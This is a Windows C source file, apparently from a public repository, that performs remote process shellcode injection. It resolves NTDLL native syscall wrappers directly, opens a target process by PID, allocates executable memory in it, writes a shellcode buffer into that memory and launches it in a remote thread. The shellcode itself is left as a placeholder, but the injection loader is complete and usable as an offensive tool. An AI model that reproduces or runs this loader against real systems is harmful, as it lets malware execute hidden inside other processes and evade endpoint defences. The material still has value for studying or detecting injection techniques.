-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathnative.c
More file actions
193 lines (162 loc) · 5.96 KB
/
native.c
File metadata and controls
193 lines (162 loc) · 5.96 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
#include <windows.h>
#include <stdio.h>
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // this is the success code.
// For debugging
#define okay(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define info(msg, ...) printf("[i] " msg "\n", ##__VA_ARGS__)
#define warn(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
/* Function Prototypes */
// We need to structure the functions that are not structured, such as POBJECT_ATTRIBUTES and PCLIENT_ID, we get this from VERGILIUS
//0x30 bytes (sizeof)
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length; //0x0
VOID* RootDirectory; //0x8
struct _UNICODE_STRING* ObjectName; //0x10
ULONG Attributes; //0x18
VOID* SecurityDescriptor; //0x20
VOID* SecurityQualityOfService; //0x28
}OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
//0x10 bytes (sizeof)
typedef struct _CLIENT_ID
{
VOID* UniqueProcess; //0x0
VOID* UniqueThread; //0x8
} CLIENT_ID, *PCLIENT_ID ;
// OpenProcess
typedef NTSTATUS(NTAPI* NtOpenProcess)(
_Out_ PHANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PCLIENT_ID ClientId
);
typedef NTSTATUS(NTAPI* NtClose)(
_In_ _Post_ptr_invalid_ HANDLE Handle
);
typedef struct _PS_ATTRIBUTE
{
ULONG_PTR Attribute;
SIZE_T Size;
union
{
ULONG_PTR Value;
PVOID ValuePtr;
};
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;
typedef const OBJECT_ATTRIBUTES* PCOBJECT_ATTRIBUTES;
typedef struct _PS_ATTRIBUTE_LIST
{
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;
// CreateRemoteThread
typedef NTSTATUS(NTAPI* NtCreateThreadEx)(
_Out_ PHANDLE ThreadHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ PCOBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE ProcessHandle,
_In_ PVOID StartRoutine,
_In_opt_ PVOID Argument,
_In_ ULONG CreateFlags, // THREAD_CREATE_FLAGS_*
_In_ SIZE_T ZeroBits,
_In_ SIZE_T StackSize,
_In_ SIZE_T MaximumStackSize,
_In_opt_ PPS_ATTRIBUTE_LIST AttributeList
);
// VirtualAlloc
typedef NTSTATUS(NTAPI* NtAllocateVirtualMemory)(
_In_ HANDLE ProcessHandle, // hProcess
_Inout_ _At_(*BaseAddress, _Readable_bytes_(*RegionSize) _Writable_bytes_(*RegionSize) _Post_readable_byte_size_(*RegionSize)) PVOID* BaseAddress, // &rBuffer
_In_ ULONG_PTR ZeroBits, // 0
_Inout_ PSIZE_T RegionSize, // shellcode size as a POINTER.
_In_ ULONG AllocationType, // MEM_RESERVE | MEM_COMMIT
_In_ ULONG PageProtection // PAGE_EXECUTE_READWRITE
);
// WriteProcessMemory
typedef NTSTATUS(NTAPI* NtWriteVirtualMemory)(
_In_ HANDLE ProcessHandle,
_In_opt_ PVOID BaseAddress,
_In_reads_bytes_(NumberOfBytesToWrite) PVOID Buffer,
_In_ SIZE_T NumberOfBytesToWrite,
_Out_opt_ PSIZE_T NumberOfBytesWritten
);
HMODULE GetMod(
IN LPCWSTR modName
) {
HMODULE hModule = NULL;
info("trying to get a handle to %S", modName);
hModule = GetModuleHandleW(modName);
if (hModule == NULL) {
warn("failed to get a handle to the module, error: 0x%lx\n", GetLastError());
return NULL;
}
else {
okay("got a handle to the module!");
return hModule;
}
}
int main(int argc, char* argv[]) {
NTSTATUS STATUS;
DWORD PID = 0;
PVOID rBuffer = NULL;
HMODULE hNTDLL = NULL;
HANDLE hThread = NULL;
HANDLE hProcess = NULL;
unsigned char shellcode[] = <SHELLCODE>
SIZE_T shellcodesize = sizeof(shellcode);
if (argc < 2) {
printf("Usage: process.exe <PID>");
}
// For error handling
/*
STATUS = NtSomeFunction(Test, Test, Test);
if (STATUS != STATUS_SUCCESS) {
warn("[NtFunction] went wrong, error 0x%lx", STATUS);
return EXIT_FAILURE;
}
*/
PID = atoi(argv[1]);
// Getting a handle on NTDLL
hNTDLL = GetMod(L"NTDLL");
NtOpenProcess kawOpen = (NtOpenProcess)GetProcAddress(hNTDLL, "NtOpenProcess");
NtCreateThreadEx kawThread = (NtCreateThreadEx)GetProcAddress(hNTDLL, "NtCreateThreadEx");
NtClose kawClose = (NtClose)GetProcAddress(hNTDLL, "NtClose");
NtAllocateVirtualMemory kawVirtual = (NtAllocateVirtualMemory)GetProcAddress(hNTDLL, "NtAllocateVirtualMemory");
NtWriteVirtualMemory kawWrite = (NtWriteVirtualMemory)GetProcAddress(hNTDLL, "NtWriteVirtualMemory");
// OBJECT ATTRIBUTES is the size structure, so we have to initialize it.
// ALSO CLIENT_ID holds the PID, so we have to initalize it
OBJECT_ATTRIBUTES OA = { sizeof(OA), NULL };
CLIENT_ID CID = { NULL };
CID.UniqueProcess = (HANDLE)(ULONG_PTR)PID;
STATUS = kawOpen(&hProcess, PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, &OA, &CID); // Output is saved into hProcess.
if (STATUS != STATUS_SUCCESS) {
warn("[NtOpenProcess] failed to get a handle on the process, error: 0x%lx", STATUS);
return EXIT_FAILURE;
}
okay("Got a handle on process %ld", PID);
// VirtualAllocEx
NTSTATUS nt = kawVirtual(hProcess, &rBuffer, 0, &shellcodesize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (nt != STATUS_SUCCESS) {
warn("[NtVirtualAllocEx] failed, error: 0x%lx", nt);
return EXIT_FAILURE;
}
okay("Allocated remote memory at 0x%p with size %zu", rBuffer, shellcodesize);
// WriteProcessMemory
STATUS = kawWrite(hProcess, rBuffer, shellcode, sizeof(shellcode), NULL);
if (STATUS != STATUS_SUCCESS) {
warn("[NtOpenProcess] failed to get a handle on the process, error: 0x%lx", STATUS);
return EXIT_FAILURE;
}
// CreateRemoteThread
STATUS = kawThread(&hThread, THREAD_ALL_ACCESS, &OA, hProcess, rBuffer, NULL, 0, 0, 0, 0, NULL);
if (STATUS != STATUS_SUCCESS) {
warn("[NtOpenProcess] failed to get a handle on the process, error: 0x%lx", STATUS);
return EXIT_FAILURE;
}
okay("thread created, waiting for thread to finish execution.");
WaitForSingleObject(hThread, INFINITE);
okay("thread finished execution.");
STATUS = kawClose(hThread);
STATUS = kawClose(hProcess);
}